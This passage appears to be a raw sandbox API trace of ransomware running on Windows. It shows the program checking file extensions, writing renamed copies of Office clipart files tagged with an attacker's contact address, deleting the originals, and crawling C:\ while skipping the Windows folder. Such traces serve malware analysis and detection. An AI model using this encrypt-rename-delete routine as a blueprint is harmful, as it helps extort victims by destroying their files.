(lpString=".xls") returned 4 [0303.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.442] lstrlenW (lpString=".xlsx") returned 5 [0303.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.443] lstrlenW (lpString=".ppt") returned 4 [0303.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.443] lstrlenW (lpString=".zip") returned 4 [0303.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.443] lstrlenW (lpString=".rar") returned 4 [0303.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.443] lstrlenW (lpString=".bz2") returned 4 [0303.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.443] lstrlenW (lpString=".7z") returned 3 [0303.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.443] lstrlenW (lpString=".dbf") returned 4 [0303.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.443] lstrlenW (lpString=".1cd") returned 4 [0303.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.443] lstrlenW (lpString=".jpg") returned 4 [0303.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.444] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.444] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.444] GetLastError () returned 0x0 [0303.444] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x764, lpOverlapped=0x0) returned 1 [0303.559] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x770, lpOverlapped=0x0) returned 1 [0303.560] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.560] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.561] SetEndOfFile (hFile=0x10e0) returned 1 [0303.561] CloseHandle (hObject=0x10e0) returned 1 [0303.561] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.561] SetEndOfFile (hFile=0x10bc) returned 1 [0303.562] CloseHandle (hObject=0x10bc) returned 1 [0303.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0303.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.564] lstrlenW (lpString=".doc") returned 4 [0303.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.564] lstrlenW (lpString=".docx") returned 5 [0303.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.564] lstrlenW (lpString=".pdf") returned 4 [0303.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.564] lstrlenW (lpString=".xls") returned 4 [0303.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.564] lstrlenW (lpString=".xlsx") returned 5 [0303.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.564] lstrlenW (lpString=".ppt") returned 4 [0303.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.564] lstrlenW (lpString=".zip") returned 4 [0303.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.564] lstrlenW (lpString=".rar") returned 4 [0303.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.564] lstrlenW (lpString=".bz2") returned 4 [0303.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.565] lstrlenW (lpString=".7z") returned 3 [0303.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.565] lstrlenW (lpString=".dbf") returned 4 [0303.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.565] lstrlenW (lpString=".1cd") returned 4 [0303.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.565] lstrlenW (lpString=".jpg") returned 4 [0303.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.565] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.566] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.566] GetLastError () returned 0x0 [0303.566] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0303.663] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0303.664] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.664] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.664] SetEndOfFile (hFile=0x10e0) returned 1 [0303.664] CloseHandle (hObject=0x10e0) returned 1 [0303.664] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.664] SetEndOfFile (hFile=0x10bc) returned 1 [0303.665] CloseHandle (hObject=0x10bc) returned 1 [0303.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.667] lstrlenW (lpString=".doc") returned 4 [0303.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.667] lstrlenW (lpString=".docx") returned 5 [0303.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.667] lstrlenW (lpString=".pdf") returned 4 [0303.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.667] lstrlenW (lpString=".xls") returned 4 [0303.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.667] lstrlenW (lpString=".xlsx") returned 5 [0303.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.667] lstrlenW (lpString=".ppt") returned 4 [0303.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.667] lstrlenW (lpString=".zip") returned 4 [0303.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.667] lstrlenW (lpString=".rar") returned 4 [0303.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.667] lstrlenW (lpString=".bz2") returned 4 [0303.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.667] lstrlenW (lpString=".7z") returned 3 [0303.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.668] lstrlenW (lpString=".dbf") returned 4 [0303.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.668] lstrlenW (lpString=".1cd") returned 4 [0303.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.668] lstrlenW (lpString=".jpg") returned 4 [0303.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.668] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.668] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.669] GetLastError () returned 0x0 [0303.669] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0303.843] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0303.844] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.844] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.844] SetEndOfFile (hFile=0x10e0) returned 1 [0303.844] CloseHandle (hObject=0x10e0) returned 1 [0303.844] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.844] SetEndOfFile (hFile=0x10bc) returned 1 [0303.846] CloseHandle (hObject=0x10bc) returned 1 [0303.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0303.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.847] lstrlenW (lpString=".doc") returned 4 [0303.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.847] lstrlenW (lpString=".docx") returned 5 [0303.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.847] lstrlenW (lpString=".pdf") returned 4 [0303.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.847] lstrlenW (lpString=".xls") returned 4 [0303.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.847] lstrlenW (lpString=".xlsx") returned 5 [0303.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.847] lstrlenW (lpString=".ppt") returned 4 [0303.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.847] lstrlenW (lpString=".zip") returned 4 [0303.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.847] lstrlenW (lpString=".rar") returned 4 [0303.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.847] lstrlenW (lpString=".bz2") returned 4 [0303.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.847] lstrlenW (lpString=".7z") returned 3 [0303.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.848] lstrlenW (lpString=".dbf") returned 4 [0303.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.848] lstrlenW (lpString=".1cd") returned 4 [0303.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.848] lstrlenW (lpString=".jpg") returned 4 [0303.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.848] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.848] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.849] GetLastError () returned 0x0 [0303.849] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2606, lpOverlapped=0x0) returned 1 [0303.956] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2610, lpOverlapped=0x0) returned 1 [0303.957] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.957] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.957] SetEndOfFile (hFile=0x10e0) returned 1 [0303.957] CloseHandle (hObject=0x10e0) returned 1 [0303.957] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.957] SetEndOfFile (hFile=0x10bc) returned 1 [0303.958] CloseHandle (hObject=0x10bc) returned 1 [0303.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0303.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.959] lstrlenW (lpString=".doc") returned 4 [0303.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.959] lstrlenW (lpString=".docx") returned 5 [0303.959] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0303.959] lstrlenW (lpString=".pdf") returned 4 [0303.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.959] lstrlenW (lpString=".xls") returned 4 [0303.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.959] lstrlenW (lpString=".xlsx") returned 5 [0303.960] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0303.960] lstrlenW (lpString=".ppt") returned 4 [0303.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.960] lstrlenW (lpString=".zip") returned 4 [0303.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.960] lstrlenW (lpString=".rar") returned 4 [0303.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.960] lstrlenW (lpString=".bz2") returned 4 [0303.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.960] lstrlenW (lpString=".7z") returned 3 [0303.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.960] lstrlenW (lpString=".dbf") returned 4 [0303.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.960] lstrlenW (lpString=".1cd") returned 4 [0303.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0303.960] lstrlenW (lpString=".jpg") returned 4 [0303.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.961] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.961] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.961] GetLastError () returned 0x0 [0303.961] ReadFile (hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0) Thread: id = 3458 os_tid = 0x27a8 [0285.989] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3720070 [0285.989] lstrlenW (lpString="C:") returned 2 [0285.989] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x74ac70 [0285.989] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0285.989] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0285.989] lstrlenW (lpString="$GetCurrent") returned 11 [0285.989] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0285.989] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3730078 [0285.990] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0285.990] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x74abb0 [0285.990] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0285.990] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0285.990] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0285.990] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0285.990] lstrlenW (lpString="Logs") returned 4 [0285.990] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0285.990] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3740080 [0285.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0285.991] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x74a530 [0285.991] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, 